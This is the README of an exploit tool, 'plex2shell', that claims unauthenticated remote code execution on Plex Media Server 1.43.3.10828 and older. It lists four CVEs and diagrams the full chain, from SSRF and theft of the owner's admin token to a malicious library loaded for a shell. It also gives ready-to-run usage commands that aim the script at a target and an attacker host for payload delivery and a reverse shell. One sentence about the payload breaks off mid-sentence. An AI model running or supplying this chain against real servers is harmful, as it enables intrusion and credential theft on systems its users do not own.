plex2shell

Unauth RCE chain for Plex Media Server 1.43.3.10828 and older.

CVSS 3.1: 10.0 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Write-up: https://zmain.info/blog/plex2shell

Disclaimer

This tool is published for authorized security testing, academic research, and defensive purposes only. Use it only against systems you own or have explicit written permission to test. The authors are not responsible for misuse or damage caused by this tool. Unauthorized access to computer systems is illegal.

CVEs

CVE	Primitive
CVE-2026-96652	Unauthenticated SSRF via /player/timeline protocol=
CVE-2026-96654	Loopback pivot: dead auth guard + searchOne identifier= injection
CVE-2026-96655	Owner-authed transcoder SSRF + arbitrary-path file write (dump-yuv)
CVE-2026-96656	Code execution via unsigned codec dlopen in the Codecs set-dir

Chain

[bare internet, junk token]
      |
   (1) /player/timeline  --- SSRF ---> loopback origin
      |
   (2) /system/agents/.../searchOne  --- identifier= injection --->
      |                                  cross-plugin RPC
      |
   (3) networking.py:149  --- 127.0.0.1.* prefix confusion --->
      |                       owner admin token exfil
      v
   attacker holds the OWNER admin token
      |
   (4) /video/:/transcode/universal?path=<url>  --- transcoder SSRF --->
      |                                             fetch attacker media
      |
   (5) TranscoderH264Options=dump-yuv  --- x264 writes attacker ELF
      |                                    into Codecs set-dir
      v
   second transcode  ->  dlopen()s every *.so  ->  constructor runs
      v
   [uid=1000(plex)]

The payload is the frame-0 luma of a lossless (qp=0) carrier that the

Prerequisites

• Python 3.8+, ffmpeg, gcc (or x86_64-w64-mingw32-gcc for Windows targets)
• Attacker host reachable from the target (media fetch + reverse shell)

Usage

# Linux native (.deb/.rpm):
python3 plex2shell.py --target 10.0.0.5:32400 --attacker-ip 10.0.0.9

# Docker:
python3 plex2shell.py --target-os linux-docker --target 10.0.0.5:32400 --attacker-ip 10.0.0.9

# Windows:
python3 plex2shell.py --target-os windows --target 10.0.0.5:32400 --attacker-ip 10.0.0.9

# One-shot:
python3 plex2shell.py --target 10.0.0.5:32400 --attacker-ip 10.0.0.9 --exec "id; hostname"

--help for everything else.

License

GPLv3